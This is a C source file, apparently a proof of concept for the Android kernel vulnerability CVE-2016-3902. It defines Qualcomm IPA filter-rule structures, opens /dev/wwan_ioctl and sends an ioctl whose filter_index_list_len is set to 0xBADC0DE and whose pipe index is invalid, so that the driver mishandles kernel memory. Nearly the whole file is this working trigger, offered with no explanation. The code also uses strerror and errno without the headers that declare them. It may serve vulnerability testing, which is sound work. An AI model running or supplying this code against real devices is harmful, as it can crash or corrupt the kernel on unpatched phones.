CVE-2016-3902.c

/* CVE-2016-3902.c
 *
 * October BUlletin
 *
 * https://code.google.com/p/android/issues/detail?id=214974
 *
 */

#include <stdlib.h>
#include <stdio.h>
#include <stdbool.h>
#include <strings.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <net/if.h>
#include <sys/types.h>

#define IPA_INT_MAX     ((int)(~0U>>1))
#define IPA_INT_MIN     (-IPA_INT_MAX - 1)
#define QMI_IPA_MAX_FILTERS_V01 64

struct ipa_filter_handle_to_index_map_v01 {
        uint32_t filter_handle;
        uint32_t filter_index;
};  /* Type */

enum ipa_qmi_result_type_v01 {
        /* To force a 32 bit signed enum. Do not change or use*/
        IPA_QMI_RESULT_TYPE_MIN_ENUM_VAL_V01 = IPA_INT_MIN,
        IPA_QMI_RESULT_SUCCESS_V01 = 0,
        IPA_QMI_RESULT_FAILURE_V01 = 1,
        IPA_QMI_RESULT_TYPE_MAX_ENUM_VAL_V01 = IPA_INT_MAX,
};


struct ipa_fltr_installed_notif_req_msg_v01 {
        uint32_t source_pipe_index;
        enum ipa_qmi_result_type_v01 install_status;
        uint32_t filter_index_list_len;
        struct ipa_filter_handle_to_index_map_v01
	filter_index_list[QMI_IPA_MAX_FILTERS_V01];
        uint8_t embedded_pipe_index_valid;
        uint32_t embedded_pipe_index;
        uint8_t retain_header_valid;
        uint8_t retain_header;
        uint8_t embedded_call_mux_id_valid;
        uint32_t embedded_call_mux_id;
        uint8_t num_ipv4_filters_valid;
        uint32_t num_ipv4_filters;
        uint8_t num_ipv6_filters_valid;
        uint32_t num_ipv6_filters;
        uint8_t start_ipv4_filter_idx_valid;
        uint32_t start_ipv4_filter_idx;
        uint8_t start_ipv6_filter_idx_valid;
        uint32_t start_ipv6_filter_idx;
};  /* Message */


#define WAN_IOC_MAGIC 0x69

#define WAN_IOCTL_ADD_FLT_INDEX         2

#define WAN_IOC_ADD_FLT_RULE_INDEX _IOWR(WAN_IOC_MAGIC, \
                WAN_IOCTL_ADD_FLT_INDEX, \
					 struct ipa_fltr_installed_notif_req_msg_v01 *)


static const char* dev = "/dev/wwan_ioctl";

int main(void)
{
	int fd;
	struct ipa_fltr_installed_notif_req_msg_v01 msg = { 0 };
	fd = open(dev, O_RDWR);
	if (fd < 0) {
		printf("Failed to open %s with %s\n", dev, strerror(errno));
		return EXIT_FAILURE;
	}

	msg.filter_index_list_len = 0xBADC0DE;
	msg.filter_index_list[0].filter_index = 0; /* technically already set to 0 */
	/* set the pipe index to fail on the check */
	msg.source_pipe_index = 0xbeef;

	ioctl(fd, WAN_IOC_ADD_FLT_RULE_INDEX, &msg);

}